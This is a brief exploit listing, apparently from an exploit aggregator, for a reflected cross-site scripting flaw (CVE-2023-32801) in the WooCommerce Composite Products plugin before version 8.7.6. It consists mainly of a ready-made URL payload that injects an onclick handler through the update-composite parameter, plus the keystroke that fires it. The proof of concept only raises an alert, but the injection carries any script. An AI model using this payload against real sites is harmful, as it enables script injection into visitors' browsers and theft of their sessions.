Exploit for WooCommerce Composite Products < 8.7.6 - Reflected XSS CVE-2023-32801

Name: Exploit for WooCommerce Composite Products < 8.7.6 - Reflected XSS CVE-2023-32801
Rating: 5 (96 reviews)

2023-05-15 | CVSS 5.8

## https://sploitus.com/exploit?id=WPEX-ID:53F09438-A97F-4E72-8CDE-C61654164BDE
On a page where a Component Product is displayed, append ?update-composite=rrr%22%20accesskey=X%20onclick=alert(document.domain)%20xxx=%22, e.g:

https://example.com/product/test/?update-composite=rrr%22%20accesskey=X%20onclick=alert(document.domain)%20xxx=%22

Then press Alt +  Shift + X to trigger the XSS